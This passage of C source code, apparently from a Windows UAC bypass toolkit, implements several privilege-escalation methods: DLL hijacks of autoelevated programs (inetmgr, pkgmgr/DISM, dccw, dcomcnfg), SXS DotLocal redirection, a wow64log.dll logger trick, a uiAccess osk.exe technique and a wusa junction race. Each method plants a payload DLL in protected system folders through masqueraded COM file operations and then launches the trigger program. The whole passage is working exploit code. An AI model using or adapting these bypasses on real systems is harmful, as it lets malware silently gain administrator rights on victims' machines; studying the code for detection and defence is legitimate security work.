bSuccess = supWriteBufferToFile(textbuf, ProxyDll, ProxyDllSize);
if (!bSuccess)
break;
bSuccess = ucmMasqueradedMoveFileCOM(textbuf, szDest);
if (!bSuccess)
break;
_strcat(szDest, INETMGR_EXE);
bSuccess = supRunProcess(szDest, NULL);
} while (bCond);
if (MappedFile != NULL)
UnmapViewOfFile(MappedFile);
if (hFileMapping != NULL)
CloseHandle(hFileMapping);
if (hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
if (OutputBuffer != NULL)
supHeapFree(OutputBuffer);
return bSuccess;
}
typedef BOOL(CALLBACK *UCMX_FIND_FILE_CALLBACK)(
WIN32_FIND_DATA *fdata,
LPWSTR lpDirectory,
PVOID ProxyDll,
DWORD ProxyDllSize);
/*
* ucmxScanFiles
*
* Purpose:
*
* Find files of the given type and run callback over them.
*
*/
BOOL ucmxScanFiles(
_In_ LPWSTR lpDirectory,
_In_ LPWSTR lpFileType,
_In_ UCMX_FIND_FILE_CALLBACK Callback,
_In_opt_ PVOID ProxyDll,
_In_opt_ DWORD ProxyDllSize
)
{
BOOL bStopEnumeration = FALSE;
HANDLE hFile;
WCHAR textbuf[MAX_PATH * 2];
WIN32_FIND_DATA fdata;
if ((Callback == NULL) || (lpDirectory == NULL) || (lpFileType == NULL))
return FALSE;
RtlSecureZeroMemory(textbuf, sizeof(textbuf));
_strncpy(textbuf, MAX_PATH, lpDirectory, MAX_PATH);
_strcat(textbuf, L"\\");
_strncpy(_strend(textbuf), 20, lpFileType, 20);
RtlSecureZeroMemory(&fdata, sizeof(fdata));
hFile = FindFirstFile(textbuf, &fdata);
if (hFile != INVALID_HANDLE_VALUE) {
do {
bStopEnumeration = Callback(&fdata, lpDirectory, ProxyDll, ProxyDllSize);
if (bStopEnumeration)
break;
} while (FindNextFile(hFile, &fdata));
FindClose(hFile);
}
return bStopEnumeration;
}
/*
* ucmInetMgrMethod
*
* Purpose:
*
* Since Windows 10 TH2 appinfo whitelist with full path two applications, which they were unable to redesign/move.
* Sysprep.exe and inetmgr.exe (IIS). This was made in a favor of the UAC fix where was fixed
* WinSAT concept method, when you can copy autoelevated executables within windows folders to do all
* required preparations for dll hijack. However InetMgr.exe does not exist in default windows setup.
* This component installed only if user choose to install IIS which most of people don't use at all.
* InetMgr component sits in winsxs folder (packed in win8+). We will simple use it (expand if needed) and abuse dll hijack
* as always directly with their hardcoded "safe" file path.
*
*/
BOOL ucmInetMgrMethod(
_In_ PVOID ProxyDll,
_In_ DWORD ProxyDllSize
)
{
BOOL bResult = FALSE, bCond = FALSE;
WCHAR szBuffer[MAX_PATH * 2];
WCHAR szDirBuf[MAX_PATH * 2];
HANDLE hFindFile;
WIN32_FIND_DATA fdata;
do {
//target dir
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, g_ctx.szSystemDirectory);
_strcat(szBuffer, INETSRV_DIR);
_strcat(szBuffer, INETMGR_EXE);
//File already exist, so IIS could be installed
if (PathFileExists(szBuffer)) {
supDebugPrint(TEXT("ucmInetMgrMethod"), ERROR_ALREADY_EXISTS);
break;
}
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, USER_SHARED_DATA->NtSystemRoot);
_strcat(szBuffer, L"\\winsxs\\");
_strcpy(szDirBuf, szBuffer);
_strcat(szBuffer, L"*");
RtlSecureZeroMemory(&fdata, sizeof(fdata));
hFindFile = FindFirstFile(szBuffer, &fdata);
if (hFindFile != INVALID_HANDLE_VALUE) {
do {
if ((fdata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) &&
(fdata.cFileName[0] != L'.')
)
{
if (_strstri(fdata.cFileName, INETMGR_SXS) != NULL) {
_strcpy(szBuffer, szDirBuf);
_strcat(szBuffer, fdata.cFileName);
bResult = ucmxScanFiles(
szBuffer,
L"*.exe",
(UCMX_FIND_FILE_CALLBACK)&ucmInetMgrFindCallback,
ProxyDll,
ProxyDllSize);
if (bResult)
break;
}
}
} while (FindNextFile(hFindFile, &fdata));
FindClose(hFindFile);
}
} while (bCond);
return bResult;
}
/*
* ucmSetupAkagiLink
*
* Purpose:
*
* Give Ikazuchi proper key to work with.
*
*/
BOOL ucmSetupAkagiLink(
VOID
)
{
BOOL bCond = FALSE, bResult = FALSE;
HANDLE hRoot = NULL, hChild = NULL;
LPWSTR lpUser;
NTSTATUS status;
UNICODE_STRING ChildName, ParentRoot, usKey;
OBJECT_ATTRIBUTES attr;
RtlSecureZeroMemory(&usKey, sizeof(usKey));
do {
status = RtlFormatCurrentUserKeyPath(&usKey);
if (!NT_SUCCESS(status))
break;
lpUser = _filename(usKey.Buffer);
ParentRoot.Buffer = NULL;
ParentRoot.Length = 0;
ParentRoot.MaximumLength = 0;
RtlInitUnicodeString(&ParentRoot, L"\\Rpc Control\\Akagi");
InitializeObjectAttributes(&attr, &ParentRoot, OBJ_CASE_INSENSITIVE, 0, NULL);
status = NtCreateDirectoryObject(&hRoot, DIRECTORY_CREATE_SUBDIRECTORY, &attr);
if (!NT_SUCCESS(status))
break;
ChildName.Buffer = NULL;
ChildName.Length = 0;
ChildName.MaximumLength = 0;
RtlInitUnicodeString(&ChildName, lpUser);
attr.RootDirectory = hRoot;
attr.ObjectName = &ChildName;
status = NtCreateDirectoryObject(&hChild, DIRECTORY_ALL_ACCESS, &attr);
if (!NT_SUCCESS(status))
break;
bResult = TRUE;
} while (bCond);
//
// Cleanup created objects if something went wrong.
// Otherwise objects will die together with process at exit.
//
if (bResult == FALSE) {
if (hRoot) {
NtClose(hRoot);
}
if (hChild) {
NtClose(hChild);
}
}
if (usKey.Buffer) {
RtlFreeUnicodeString(&usKey);
}
return bResult;
}
/*
* ucmSXSMethod
*
* Purpose:
*
* Exploit SXS Local Redirect feature.
*
* SXS/Fusion uses dll redirection, attempting to load internal manifest dependencies from
* non existent directory (this is so called DotLocal dll redirection), it is trying to do this
* before going to WinSXS store.
*
* In this case dependency is Microsoft.Windows.Common-Controls.
*
* Maybe you think it is handy cool feature, but I think its another backdoor from lazy dotnet crew.
* "You keep shipping crap, and crap, and more crap".
*
*/
BOOL ucmSXSMethod(
PVOID ProxyDll,
DWORD ProxyDllSize,
LPWSTR lpTargetDirectory, //single element in system32 with slash at end
LPWSTR lpTargetApplication, //executable name
LPWSTR lpLaunchApplication, //executable name, must be in same dir as lpTargetApplication
BOOL bConsentItself
)
{
BOOL bCond = FALSE, bResult = FALSE;
WCHAR *lpszFullDllPath = NULL, *lpszDirectoryName = NULL;
SIZE_T sz;
LPWSTR lpSxsPath = NULL;
WCHAR szSrc[MAX_PATH * 2], szDst[MAX_PATH * 2];
SXS_SEARCH_CONTEXT sctx;
if ((ProxyDll == NULL) || (ProxyDllSize == 0))
return bResult;
if (lpTargetApplication == NULL)
return bResult;
if (_strlen(lpTargetApplication) > MAX_PATH)
return bResult;
do {
//common part, locate sxs dll, drop payload to temp
RtlSecureZeroMemory(szSrc, sizeof(szSrc));
RtlSecureZeroMemory(szDst, sizeof(szDst));
sz = UNICODE_STRING_MAX_BYTES;
NtAllocateVirtualMemory(NtCurrentProcess(), &lpszFullDllPath, 0, &sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (lpszFullDllPath == NULL)
break;
sctx.DllName = COMCTL32_DLL;
sctx.PartialPath = COMCTL32_SXS;
sctx.FullDllPath = lpszFullDllPath;
if (!NT_SUCCESS(LdrEnumerateLoadedModules(0, &sxsFindDllCallback, (PVOID)&sctx)))
break;
lpszDirectoryName = _filename(lpszFullDllPath);
if (lpszDirectoryName == NULL)
break;
sz = 0x1000 + (_strlen(lpszDirectoryName) * sizeof(WCHAR));
NtAllocateVirtualMemory(NtCurrentProcess(), &lpSxsPath, 0, &sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (lpSxsPath == NULL)
break;
//drop payload dll
_strcpy(szSrc, g_ctx.szTempDirectory);
_strcat(szSrc, COMCTL32_DLL);
bResult = supWriteBufferToFile(szSrc, ProxyDll, ProxyDllSize);
if (!bResult)
break;
_strcpy(lpSxsPath, g_ctx.szSystemDirectory);
if (lpTargetDirectory) {
_strcat(lpSxsPath, lpTargetDirectory);
}
_strcpy(szDst, lpTargetApplication);
//
// Workaround for consent, so it won't ban itself.
// Create all files and target directories with fake root name.
// Next when all fileop is done, rename fake root to real.
//
if (bConsentItself) {
_strcat(szDst, FAKE_LOCAL_SXS);
}
else {
_strcat(szDst, LOCAL_SXS);
}
//create local directory
if (!ucmMasqueradedCreateSubDirectoryCOM(lpSxsPath, szDst))
break;
//create assembly directory
_strcat(lpSxsPath, szDst);
if (!ucmMasqueradedCreateSubDirectoryCOM(lpSxsPath, lpszDirectoryName))
break;
//move payload file
_strcat(lpSxsPath, TEXT("\\"));
_strcat(lpSxsPath, lpszDirectoryName);
if (!ucmMasqueradedMoveFileCOM(szSrc, lpSxsPath))
break;
//
// Consent workaround end.
// Restore real directory name.
//
if (bConsentItself) {
_strcpy(lpSxsPath, g_ctx.szSystemDirectory);
if (lpTargetDirectory) {
_strcat(lpSxsPath, lpTargetDirectory);
}
_strcat(lpSxsPath, lpTargetApplication);
_strcat(lpSxsPath, FAKE_LOCAL_SXS);
_strcpy(szDst, lpTargetApplication);
_strcat(szDst, LOCAL_SXS);
bResult = ucmMasqueradedRenameElementCOM(lpSxsPath, szDst);
if (!bResult)
break;
//put a link to Ikazuchi, so she can find proper key.
ucmSetupAkagiLink();
}
//run target process
_strcpy(szDst, g_ctx.szSystemDirectory);
if (lpTargetDirectory) {
_strcat(szDst, lpTargetDirectory);
}
if (lpLaunchApplication) {
_strcat(szDst, lpLaunchApplication);
}
else {
_strcat(szDst, lpTargetApplication);
}
bResult = supRunProcess(szDst, NULL);
Sleep(1000);
} while (bCond);
if (lpszFullDllPath) {
sz = 0;
NtFreeVirtualMemory(NtCurrentProcess(), &lpszFullDllPath, &sz, MEM_RELEASE);
}
if (lpSxsPath) {
sz = 0;
NtFreeVirtualMemory(NtCurrentProcess(), &lpSxsPath, &sz, MEM_RELEASE);
}
return bResult;
}
/*
* ucmDismMethod
*
* Purpose:
*
* Exploit DISM application dll loading scheme.
*
* Dism.exe located in system32 folder while it dlls are in system32\dism
* When loaded dism first attempt to load dlls from system32 folder.
*
* Trigger: pkgmgr.exe
* PkgMgr.exe is autoelevated whitelisted application which is actually just calling Dism.exe
*
*/
BOOL ucmDismMethod(
PVOID ProxyDll,
DWORD ProxyDllSize
)
{
BOOL bCond = FALSE, bResult = FALSE;
WCHAR szSource[MAX_PATH * 2], szDest[MAX_PATH * 2];
if ((ProxyDll == NULL) || (ProxyDllSize == 0))
return bResult;
do {
//put target dll
RtlSecureZeroMemory(szSource, sizeof(szSource));
_strcpy(szSource, g_ctx.szTempDirectory);
_strcat(szSource, DISMCORE_DLL);
//write proxy dll to disk
if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) {
break;
}
_strcpy(szDest, g_ctx.szSystemDirectory);
if (!ucmMasqueradedMoveFileCOM(szSource, szDest))
break;
_strcpy(szSource, g_ctx.szTempDirectory);
_strcat(szSource, PACKAGE_XML);
//write package data to disk
if (!supWriteBufferToFile(szSource, (PVOID)PackageData, sizeof(PackageData))) {
break;
}
_strcpy(szDest, g_ctx.szSystemDirectory);
_strcat(szDest, PKGMGR_EXE);
bResult = supRunProcess(szDest, TEXT("/n:%temp%\\ellocnak.xml"));
} while (bCond);
return bResult;
}
/*
* ucmWow64LoggerMethod
*
* Purpose:
*
* Bypass UAC using wow64 logger dll and wow64 application.
*
* Trigger: 32bit version of wusa.exe
* Loader will map and call our logger dll during wow64 process initialization.
*
*/
BOOL ucmWow64LoggerMethod(
PVOID ProxyDll,
DWORD ProxyDllSize
)
{
BOOL bResult = FALSE;
WCHAR szTarget[MAX_PATH * 2];
//
// Build target application full path.
// We need autoelevated application from syswow64 folder ONLY.
//
_strcpy(szTarget, USER_SHARED_DATA->NtSystemRoot);
_strcat(szTarget, SYSWOW64_DIR);
_strcat(szTarget, WUSA_EXE);
bResult = ucmGenericAutoelevation(szTarget, WOW64LOG_DLL, ProxyDll, ProxyDllSize);
if (bResult) {
//
// Attempt to remove payload dll after execution.
// Warning: every wow64 application will load payload code (some will crash).
// Remove file IMMEDIATELY after work.
//
_strcpy(szTarget, g_ctx.szSystemDirectory);
_strcat(szTarget, WOW64LOG_DLL);
DeleteFile(szTarget);
}
return bResult;
}
/*
* ucmUiAccessMethod
*
* Purpose:
*
* Bypass UAC using uiAccess(true) application.
* Original method source
* https://habrahabr.ru/company/pm/blog/328008/
*
*/
BOOL ucmUiAccessMethod(
PVOID ProxyDll,
DWORD ProxyDllSize
)
{
BOOL bResult = FALSE, bCond = FALSE;
SIZE_T Length;
DWORD DllVirtualSize;
LPWSTR lpEnv, lpTargetDll;
PVOID EntryPoint, DllBase;
PIMAGE_NT_HEADERS NtHeaders;
UNICODE_STRING uStr;
WCHAR szTarget[MAX_PATH * 2];
WCHAR szSource[MAX_PATH * 2];
do {
//
// There is no osksupport.dll in Windows 7.
//
if (g_ctx.dwBuildNumber < 9200)
lpTargetDll = DUSER_DLL;
else
lpTargetDll = OSKSUPPORT_DLL;
//
// Replace default Fubuki dll entry point with new.
//
NtHeaders = RtlImageNtHeader(ProxyDll);
if (NtHeaders == NULL)
break;
DllVirtualSize = 0;
DllBase = PELoaderLoadImage(ProxyDll, &DllVirtualSize);
if (DllBase) {
//
// Get the new entrypoint.
//
EntryPoint = PELoaderGetProcAddress(DllBase, "_FubukiProc1");
if (EntryPoint == NULL)
break;
//
// Set new entrypoint and recalculate checksum.
//
NtHeaders->OptionalHeader.AddressOfEntryPoint =
(ULONG)((ULONG_PTR)EntryPoint - (ULONG_PTR)DllBase);
NtHeaders->OptionalHeader.CheckSum =
supCalculateCheckSumForMappedFile(ProxyDll, ProxyDllSize);
VirtualFree(DllBase, 0, MEM_RELEASE);
}
else
break;
//
// Drop modified fubuki.dll to the %temp%
//
RtlSecureZeroMemory(szSource, sizeof(szSource));
_strcpy(szSource, g_ctx.szTempDirectory);
_strcat(szSource, lpTargetDll);
if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize))
break;
//
// Build target path in g_lpIncludePFDirs
//
uStr.Buffer = NULL;
uStr.Length = 0;
uStr.MaximumLength = 0;
lpEnv = L"ProgramFiles=";
RtlInitUnicodeString(&uStr, lpEnv);
lpEnv = supQueryEnvironmentVariableOffset(&uStr);
if (lpEnv == NULL)
break;
Length = _strlen(lpEnv);
if ((Length == 0) || (Length > MAX_PATH))
break;
RtlSecureZeroMemory(&szTarget, sizeof(szTarget));
_strncpy(szTarget, MAX_PATH, lpEnv, MAX_PATH);
_strcat(szTarget, TEXT("\\"));
_strcat(szTarget, T_WINDOWSMEDIAPLAYER);
_strcat(szTarget, TEXT("\\"));
//
// Copy Fubuki to target directory.
//
if (!ucmMasqueradedMoveFileCOM(szSource, szTarget))
break;
//
// Copy osk.exe to Program Files\Windows Media Player
//
RtlSecureZeroMemory(szSource, sizeof(szSource));
_strcpy(szSource, g_ctx.szSystemDirectory);
_strcat(szSource, OSK_EXE);
if (!ucmMasqueradedMoveCopyFileCOM(szSource, szTarget, FALSE))
break;
//
// Run uiAccess osk.exe from Program Files.
//
_strcat(szTarget, OSK_EXE);
if (supRunProcess2(szTarget, NULL, FALSE)) {
//
// Run eventvwr.exe as final trigger.
// Spawns mmc.exe with eventvwr.msc snap-in.
//
_strcpy(szTarget, g_ctx.szSystemDirectory);
_strcat(szTarget, EVENTVWR_EXE);
bResult = supRunProcess2(szTarget, NULL, FALSE);
}
} while (bCond);
return bResult;
}
/*
* ucmJunctionMethod
*
* Purpose:
*
* Bypass UAC using two different steps:
*
* 1) Create wusa.exe race condition and force wusa to copy files to the protected directory using NTFS reparse point.
* 2) Dll hijack dotnet dependencies.
*
* Wusa race condition in combination with junctions found by Thomas Vanhoutte.
* Twitter: https://twitter.com/SandboxEscaper
* Blog: https://thomas-vanhoutte.blogspot.be
*
*/
BOOL ucmJunctionMethod(
PVOID ProxyDll,
DWORD ProxyDllSize
)
{
BOOL bResult = FALSE, bDropComplete = FALSE, bCond = FALSE, bWusaNeedCleanup = FALSE;
HKEY hKey = NULL;
LRESULT lResult;
LPWSTR lpTargetDirectory = NULL, lpEnd = NULL;
DWORD i, cValues = 0, cbMaxValueNameLen = 0, bytesIO;
WCHAR szBuffer[MAX_PATH * 2];
WCHAR szSource[MAX_PATH * 2];
do {
//
// Drop payload dll to %temp% and make cab for it.
//
RtlSecureZeroMemory(szSource, sizeof(szSource));
_strcpy(szSource, g_ctx.szTempDirectory);
if (g_ctx.dwBuildNumber < 9600) {
_strcat(szSource, OLE32_DLL);
}
else {
_strcat(szSource, MSCOREE_DLL);
}
bWusaNeedCleanup = ucmCreateCabinetForSingleFile(szSource, ProxyDll, ProxyDllSize, NULL);
if (!bWusaNeedCleanup)
break;
//
// Locate target directory.
//
lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, T_DOTNET_CLIENT, 0, MAXIMUM_ALLOWED, &hKey);
if (lResult != ERROR_SUCCESS)
break;
lResult = RegQueryInfoKey(hKey,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
&cValues,
&cbMaxValueNameLen,
NULL,
NULL,
NULL);
if (lResult != ERROR_SUCCESS)
break;
if ((cValues == 0) || (cbMaxValueNameLen == 0))
break;
if (cbMaxValueNameLen > MAX_PATH)
break;
bDropComplete = FALSE;
//
// Drop file in each.
//
for (i = 0; i < cValues; i++) {
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
bytesIO = MAX_PATH;
lResult = RegEnumValue(hKey,
i,
(LPWSTR)&szBuffer,
&bytesIO,
NULL,
NULL,
NULL,
NULL);
lpTargetDirectory = _filepath(szBuffer, szBuffer);
if (lpTargetDirectory == NULL) {
bDropComplete = FALSE;
break;
}
lpEnd = _strend(lpTargetDirectory);
if (*(lpEnd - 1) == TEXT('\\'))
*(lpEnd - 1) = TEXT('\0');
if (!ucmWusaExtractViaJunction(lpTargetDirectory)) {
bDropComplete = FALSE;
break;
}
bDropComplete = TRUE;
}
if (!bDropComplete)
break;
//
// Exploit dll hijacking.
//
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, g_ctx.szSystemDirectory);
_strcat(szBuffer, DCOMCNFG_EXE);
bResult = supRunProcess(szBuffer, NULL);
} while (bCond);
if (hKey != NULL)
RegCloseKey(hKey);
if (bWusaNeedCleanup) {
//
// Remove cabinet file if exist.
//
ucmWusaCabinetCleanup();
}
return bResult;
}
/*
* ucmSXSMethodDccw
*
* Purpose:
*
* Similar to ucmSXSMethod, except using different target app and dll.
* Dccw idea by Ernesto Fernandez (https://github.com/L3cr0f/DccwBypassUAC)
*
*/
BOOL ucmSXSMethodDccw(
PVOID ProxyDll,
DWORD ProxyDllSize
)
{
BOOL bCond = FALSE, bResult = FALSE, bWusaNeedCleanup = FALSE;
HMODULE hGdiPlus = NULL;
WCHAR *lpszFullDllPath = NULL, *lpszDirectoryName = NULL;
SIZE_T sz;
LPWSTR lpSxsPath = NULL, lpEnd;
WCHAR szBuffer[MAX_PATH * 2], szTarget[MAX_PATH * 2];
SXS_SEARCH_CONTEXT sctx;
if ((ProxyDll == NULL) || (ProxyDllSize == 0))
return bResult;
do {
//
// Check if target app available. Maybe unavailable in server edition.
//
_strcpy(szTarget, g_ctx.szSystemDirectory);
_strcat(szTarget, DCCW_EXE);
if (!PathFileExists(szTarget))
break;
//
// Load GdiPlus in our address space to get it full path.
//
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, g_ctx.szSystemDirectory);
_strcat(szBuffer, GDIPLUS_DLL);
hGdiPlus = LoadLibrary(szBuffer);
if (hGdiPlus == NULL)
break;
sz = UNICODE_STRING_MAX_BYTES;
NtAllocateVirtualMemory(NtCurrentProcess(), &lpszFullDllPath, 0, &sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (lpszFullDllPath == NULL)
break;
sctx.DllName = GDIPLUS_DLL;
sctx.PartialPath = GDIPLUS_SXS;
sctx.FullDllPath = lpszFullDllPath;
if (!NT_SUCCESS(LdrEnumerateLoadedModules(0, &sxsFindDllCallback, (PVOID)&sctx)))
break;
lpszDirectoryName = _filename(lpszFullDllPath);
if (lpszDirectoryName == NULL)
break;
sz = 0x1000 + (_strlen(lpszDirectoryName) * sizeof(WCHAR));
NtAllocateVirtualMemory(NtCurrentProcess(), &lpSxsPath, 0, &sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (lpSxsPath == NULL)
break;
//
// Create DotLocal path.
//
_strcpy(lpSxsPath, DCCW_EXE);
_strcat(lpSxsPath, LOCAL_SXS);
_strcat(lpSxsPath, TEXT("\\"));
_strcat(lpSxsPath, lpszDirectoryName);
_strcat(lpSxsPath, TEXT("\\"));
_strcat(lpSxsPath, GDIPLUS_DLL);
//
// Create fake cab file.
//
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, g_ctx.szTempDirectory);
_strcat(szBuffer, GDIPLUS_DLL);
bWusaNeedCleanup = ucmCreateCabinetForSingleFile(szBuffer, ProxyDll, ProxyDllSize, lpSxsPath);
if (!bWusaNeedCleanup)
break;
_strcpy(szBuffer, g_ctx.szSystemDirectory);
lpEnd = _strend(szBuffer);
if (*(lpEnd - 1) == TEXT('\\'))
*(lpEnd - 1) = TEXT('\0');
if (!ucmWusaExtractViaJunction(szBuffer))
break;
//
// Run target.
//
bResult = supRunProcess(szTarget, NULL);
} while (bCond);
//
// Cleanup resources.
//
if (hGdiPlus != NULL)
FreeLibrary(hGdiPlus);
if (lpszFullDllPath) {
sz = 0;
NtFreeVirtualMemory(NtCurrentProcess(), &lpszFullDllPath, &sz, MEM_RELEASE);
}
if (lpSxsPath) {
sz = 0;
NtFreeVirtualMemory(NtCurrentProcess(), &lpSxsPath, &sz, MEM_RELEASE);
}
if (bWusaNeedCleanup) {
ucmWusaCabinetCleanup();
}
return bResult;
}